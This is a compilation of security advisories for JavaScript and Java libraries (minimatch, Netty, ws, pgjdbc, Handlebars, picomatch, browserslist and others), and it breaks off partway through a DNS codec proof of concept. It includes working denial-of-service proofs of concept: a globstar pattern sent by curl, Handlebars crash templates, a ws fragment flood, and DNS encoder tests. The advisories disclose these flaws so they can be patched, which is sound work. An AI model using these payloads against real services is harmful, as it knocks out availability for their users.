### Summary `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. --- ### Details The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960): ```typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } ``` When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input. Measured timing with n=30 path segments: | k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s | --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- inline script** ```javascript import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms ``` To scale the effect, increase k: ```javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) ``` No special options are required. This reproduces with the default `minimatch()` call. **Step 2 -- HTTP server (event loop starvation proof)** The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: ```javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) ``` Terminal 1 -- start the server: ``` node poc1-server.mjs ``` Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: ``` curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & ``` Terminal 3 -- while the attack is in-flight, send a benign request: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" ``` **Observed output (Terminal 3):** ``` {"result":true,"ms":"0"} time_total: 4.132709s ``` The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: ``` {"result":true,"ms":"0"} time_total: 0.001599s ``` --- ### Impact Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
### Summary A remote, unauthenticated peer can leak one direct `ByteBuf` per HTTP/2 `DATA` frame in applications that enable HTTP/2 content decompression via `DelegatingDecompressorFrameListener`. When a `DATA` frame is processed for a stream whose decompressor has already been closed, `Http2Decompressor.decompress(...)` retains the frame buffer but never releases it on the error path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2 connection exhausts direct memory and crashes the JVM with `OutOfMemoryError` — a denial of service. ### Details In `codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java`, `Http2Decompressor.decompress(...)` does: ```java // around line 433 decompressor.writeInbound(data.retain()); ``` The argument `data.retain()` is evaluated **before** `writeInbound(...)` executes, incrementing the buffer's reference count (`refCnt: 1 -> 2`). The very first statement of `EmbeddedChannel.writeInbound(...)` is `ensureOpen()` (`EmbeddedChannel.java:360`), which throws `ClosedChannelException` when the decompressor's internal `EmbeddedChannel` has already been closed. When that happens: - the `DATA` payload has been `retain()`ed but never entered the pipeline, so the decoder's `finally { release() }` never runs; - the surrounding `catch (Throwable t)` block in `decompress(...)` (around line 451) does **not** release the extra reference; - the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked. The decompressor channel is closed on a reachable path: `Http2Connection` `onStreamRemoved` → `Http2Decompressor.cleanup()` → `EmbeddedChannel.finishAndReleaseAll()` (`DelegatingDecompressorFrameListener.java:125-133` and `418-420`). A peer that sends `DATA` frames for a stream whose decompressor has already been cleaned up (e.g. continuing to send `DATA` after `END_STREAM` / stream removal) thus leaks one direct `ByteBuf` per frame. **Affected code**: `DelegatingDecompressorFrameListener.java`, method `Http2Decompressor.decompress(...)` — the `decompressor.writeInbound(data.retain())` call (line ~433) and its `catch (Throwable t)` block (line ~451), which lacks a `data.release()` rollback. **Suggested fix**: track whether `writeInbound` succeeded and roll back the extra `retain()` only when the data never entered the pipeline: ```java boolean writeSucceeded = false; try { decompressor.writeInbound(data.retain()); writeSucceeded = true; // pipeline now owns the release if (endOfStream) { decompressor.finish(); } return 0; } catch (Throwable t) { if (!writeSucceeded) { data.release(); // roll back the extra retain(); data never entered pipeline } if (t instanceof Http2Exception) { throw (Http2Exception) t; } throw streamError(stream.id(), INTERNAL_ERROR, t, ...); } ``` | Case | writeSucceeded | catch action | Reason | |------|:---:|---|---| | `ensureOpen()` throws (this bug) | `false` | `data.release()` | data never entered pipeline | | handler throws internally | `true` | no release | decoder `finally` already released | | `finish()` throws | `true` | no release | `writeInbound` already succeeded | ### PoC Reproduced against the official, unmodified `netty-codec-http2-4.2.15.Final.jar` from Maven Central, using real netty classes and measuring `ByteBuf.refCnt()` directly (the leaking logic is not mocked). Reproduction steps: 1. Download the official artifacts and their dependencies from Maven Central (version `4.2.15.Final`): `netty-common`, `netty-buffer`, `netty-transport`, `netty-resolver`, `netty-handler`, `netty-codec-base`, `netty-codec`, `netty-codec-http`, `netty-codec-http2`, `netty-codec-compression`. 2. Build a real `Http2Decompressor` wrapping a real gzip decoder `EmbeddedChannel` (`ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)`). 3. Close the internal decompressor channel (equivalent to the end state of `cleanup()` / `finishAndReleaseAll()`). 4. Encode a real gzip `DATA` payload with `ZlibCodecFactory.newZlibEncoder(GZIP)` (`refCnt = 1`). 5. Call `decompress(...)` on the closed channel. 6. Observe: `writeInbound(...)` throws `ClosedChannelException` at its `ensureOpen()` entry (`EmbeddedChannel.java:360`), reached from `DelegatingDecompressorFrameListener.java:433`; `data.refCnt()` is now `2`. 7. Release once as the frame reader would; `refCnt` stays at `1` (`release()` returns `false`) → leaked. Observed reference-count trace: ``` gzipData initial refCnt = 1 decompress -> data.retain() -> refCnt = 2 (retain applied, never rolled back) caller releases once -> refCnt = 1 (release() returns false; not deallocated) => buffer never reaches 0 -> direct memory leaked ``` Observed exception stack (confirms the leak point): ``` java.nio.channels.ClosedChannelException at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959) at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360) at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor .decompress(DelegatingDecompressorFrameListener.java:433) ``` Two notes on the harness (they do not affect the leak mechanism): - The internal channel is closed directly via `close()` rather than through `cleanup()`. The end state is identical (channel closed → `writeInbound` throws at `ensureOpen()`); the bug depends on "channel closed → retain not rolled back", not on *how* the channel was closed. - In the isolated harness the rethrown `StreamException`'s root cause shows as `NullPointerException` because the harness does not initialise an `Http2LocalFlowController` (a secondary exception reported during channel close). The leak is already sealed at the `ClosedChannelException` thrown by `writeInbound`'s `ensureOpen()` (line 360); in a real server with the flow controller initialised, the triggering exception is the `ClosedChannelException` itself. A complete self-contained PoC (`Verify02DecompressLeak.java`, ~150 lines, no test framework) plus the exact `javac` / `java` commands can be attached on request. ### Impact - **Vulnerability type**: uncontrolled resource consumption / memory leak (CWE-401), leading to denial of service. Each crafted `DATA` frame leaks one (typically direct/off-heap) `ByteBuf`. - **Who is impacted**: any server (or client) that enables HTTP/2 content decompression by installing `DelegatingDecompressorFrameListener` in its HTTP/2 pipeline. - **Attacker requirements**: remote, unauthenticated. The attacker only needs to send HTTP/2 `DATA` frames for a stream whose decompressor has been cleaned up (e.g. continue sending `DATA` after `END_STREAM`). No special server configuration beyond decompression being enabled. - **Result**: sustained triggering over a long-lived connection exhausts direct memory and crashes the JVM with `OutOfMemoryError`.
### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).
## Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. ### Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, `loginTimeout` did not fully mitigate this problem. When `loginTimeout` expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue affects availability. It does **not** provide authentication bypass, privilege escalation, or direct password disclosure. A user is vulnerable when **all** of the following are true: 1. The connection uses **SCRAM-SHA-256** authentication. 2. The client reaches a **malicious, compromised, or attacker-controlled PostgreSQL endpoint**. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the `server-first-message`. In practice, that can happen in these situations: - the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, `/etc/hosts`, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, `sslmode` lower than `verify-full`, or trusting a CA that signs hosts outside the operator's control) The issue is **more damaging** when the application uses connection retries, many parallel connection attempts, or `loginTimeout` and assumes the timeout fully stops the work. ### Patches The patch introduces a new connection property, `scramMaxIterations`, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins. ### Workarounds Until a patched version of pgjdbc is deployed, the following measures reduce exposure: 1. **Only connect to trusted PostgreSQL servers whose identity is verified.** Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server. 2. **Do not rely on `loginTimeout` as a complete mitigation on unpatched versions.** On affected versions, `loginTimeout` can stop the waiting caller while the worker thread continues spending CPU. 3. **Avoid SCRAM on untrusted or interceptable connection paths.** For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count. 4. **Reduce blast radius operationally.** Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate. 5. **On trusted servers you control, keep SCRAM iteration counts at ordinary values.** This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
## Summary When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, "n")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service. ## Description In `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like: ```javascript fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn; ``` When `"n"` is not a registered decorator, `lookupProperty(decorators, "n")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing: ``` TypeError: lookupProperty(...) is not a function ``` Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process. This inconsistency is notable: references to unregistered **helpers** produce a clean `"Missing helper: ..."` error, while references to unregistered **decorators** cause a hard crash. **Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS. ## Proof of Concept ```javascript const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x // Any of these payloads crash the process Handlebars.compile('{{*n}}')({}); Handlebars.compile('{{*decorator}}')({}); Handlebars.compile('{{*constructor}}')({}); ``` Expected crash output: ``` TypeError: lookupProperty(...) is not a function at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36)) ``` ## Workarounds - **Wrap compilation and rendering in `try/catch`:** ```javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } ``` - **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application. - **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.
### Impact `picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. ### Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include: - disable extglob support for untrusted patterns by using `noextglob: true` - reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()` - enforce strict allowlists for accepted pattern syntax - run matching in an isolated worker or separate process with time and resource limits - apply application-level request throttling and input validation for any endpoint that accepts glob patterns ### Resources - Picomatch repository: https://github.com/micromatch/picomatch - `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms - Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`) - Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all.
Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.
## Vulnerability Details **File**: `index.js` **Location**: `cache` (browserslist()'s result cache, line ~402) and `parseCache` (parseQueries()'s AST cache) ### Root Cause ```js var cache = {} var parseCache = {} function browserslist(queries, opts) { ... var cacheKey = JSON.stringify([queries, context]) if (cache[cacheKey]) return cache[cacheKey] ... if (!env.env.BROWSERSLIST_DISABLE_CACHE) { cache[cacheKey] = result } return result } function parseQueries(queries) { var cacheKey = JSON.stringify(queries) if (cacheKey in parseCache) return parseCache[cacheKey] var result = parseWithoutCache(QUERIES, queries) if (!env.env.BROWSERSLIST_DISABLE_CACHE) { parseCache[cacheKey] = result } ... } ``` Every distinct `(queries, context)` pair is cached forever — no size cap, TTL, or eviction. `browserslist.clearCaches()` never resets either object (it only resets `node.js`'s own filesystem caches); the only opt-out is the `BROWSERSLIST_DISABLE_CACHE` env var, controlled by the *calling application*, not an attacker. Some short, valid queries amplify this badly. The `since <year>-<month>-<day>` query type (`/^since (\d+)-(\d+)-(\d+)$/i`) accepts **any** digit combination — `Date.UTC()` normalizes rather than rejects out-of-range values — giving an effectively unbounded space of ~17-byte distinct cache keys, each of which resolves to (and caches) a result close to the full ~8.5 KB browser list for any sufficiently old year. ### Measured Impact 20,000 distinct `since <year>-<month>-<day>` queries (~330 KB total input, `--expose-gc` before/after measurement to rule out uncollected garbage) retained **over 50 MB** of heap permanently — roughly **150x** amplification, growing linearly with no cap observed up to 40,000 queries (52.3 MB). ### Attack Scenario Any long-running process (server, daemon, warm CI worker) that calls `browserslist()` with a query value that varies across requests/items and is influenced, even partially, by external input accumulates one cache entry per distinct value ever seen. An attacker who can influence that value across *many* requests (this is a volumetric attack, unlike the single-request DoS findings from this same research pass) sends a stream of cheap, distinct queries (e.g. `since 1900-01-01`, `since 1900-01-02`, ...) until the process runs out of memory and crashes. ### Recommended Fix (implemented and verified) Replace both plain-object caches with `Map`s bounded to a fixed maximum entry count, evicting the oldest entry once the cap is reached (`Map` preserves insertion order, so `.keys().next().value` is always oldest): ```js var CACHE_MAX_ENTRIES = 500 function boundedCacheSet(map, key, value) { if (map.size >= CACHE_MAX_ENTRIES) { map.delete(map.keys().next().value) } map.set(key, value) } var cache = new Map() var parseCache = new Map() ``` (read sites changed to `.has()`/`.get()`, write sites to `boundedCacheSet()`) **Verification**: - `NODE_ENV=test npx uvu test .test.js` → 301/301 pass unmodified (`test/cache.test.js` exercises `clearCaches()`/`BROWSERSLIST_DISABLE_CACHE` against `node.js`'s separate filesystem caches, unaffected here); confirmed a repeated identical call still returns the cached reference. - Re-ran the memory PoC post-fix: heap stayed flat at ~4.9 MB after 5,000, 10,000, 20,000, and 40,000 distinct `since`-date queries (was 10.5 → 16.5 → 28.4 → 52.3 MB pre-fix). ### Impact - **Who is affected**: Long-running processes calling `browserslist()` with query values that vary across requests/items and are influenced by external input. - **What an attacker achieves**: DoS via eventual out-of-memory crash, given sustained traffic over time (not a single small payload). - **Conditions required**: No authentication; requires volume rather than a single request, hence Medium rather than High severity. ### Verification Environment browserslist @ HEAD (== v4.28.6, current latest stable release) under local Node.js v20.19.5, run with `--expose-gc` for accurate heap measurement. ### Note Found during a broader review of this codebase in the same research pass that produced GHSA-rrmg-cfrq-23vv (parse.js algorithmic complexity), GHSA-g6p8-hj8g-x889 (baseline regexp ReDoS), GHSA-73wf-gq98-2v4g (normalizeStats crash/prototype write), and GHSA-h633-868p-5rfw (SCOPED_CONFIG__PATTERN ReDoS) — all single-request DoS vectors. This one is different in character (volumetric, not single-request) and is reported separately/scored lower accordingly.
When decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls `header.retainedSlice(header.readerIndex(), length)` and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released.
# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder) ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-dns) | | **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` | | **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption | | **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets | ## 2. Affected Components Both the encoder and decoder in the same file are affected: - `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51): - No null byte validation in domain name labels - No per-label length validation (RFC 1035 max: 63 bytes) - No total domain name length validation (RFC 1035 max: 255 bytes) - Empty labels silently truncate the domain name - `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118): - No per-label length validation (max 63) - No total domain name length validation (max 255) - Unbounded StringBuilder growth from attacker-controlled DNS responses ## 3. Vulnerability Description Netty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. ### 3.1 Encoder Side — Null Byte Injection (CWE-626) A domain name containing a null byte (e.g., `"evil\0.example.com"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently: - **Java (full string)**: sees `"evil\0.example.com"` as a single label containing a null - **C/native DNS libraries**: truncate at the null byte, seeing only `"evil"` - **DNS servers**: may accept or reject based on implementation This differential interpretation enables **DNS cache poisoning** and **domain validation bypass**. ### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation) Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means: - A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers - This creates **parser confusion** between label and pointer interpretation ### 3.3 Encoder Side — Silent Truncation via Empty Labels ```java encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped! ``` An attacker can craft input like `"safe-domain..evil.com"` which gets truncated to just `"safe-domain."`, potentially bypassing domain allowlists. ### 3.4 Decoder Side — Unbounded Memory Allocation The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation. ### Root Cause — Encoder ```java // DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); } ``` ### Root Cause — Decoder ```java // DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); } ``` **Missing checks in decoder**: - No `if (len > 63)` check per RFC 1035 Section 2.3.4 - No `if (name.length() > 255)` check for total domain name length ## 4. Exploitability Prerequisites ### Encoder Side (outbound) 1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names 2. The constructed DNS packets are sent to DNS servers or resolvers ### Decoder Side (inbound) 1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses 2. The application communicates with a malicious or compromised DNS server **Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames. ## 5. Attack Scenarios ### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder) ```java String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A)); ``` The DNS query for `"evil\0.trusted.com"` may be interpreted by some resolvers as a query for `"evil"` (truncated at null). If the attacker controls the DNS for `"evil"`, they can return a response that gets cached for `"evil\0.trusted.com"` (or vice versa), poisoning the cache. ### Scenario 2: Label/Pointer Confusion (Encoder) A 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous: ``` Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145 ``` ### Scenario 3: Memory Exhaustion via Large Labels (Decoder) A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation. ### Scenario 4: Domain Truncation via Empty Label (Encoder) ```java encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped ``` This can bypass domain allowlists that check the input string. ### Scenario 5: Downstream Processing Failures (Decoder) Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance. ## 6. Proof of Concept ### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true); // Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!"); // Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release(); // Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } } ``` ### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class 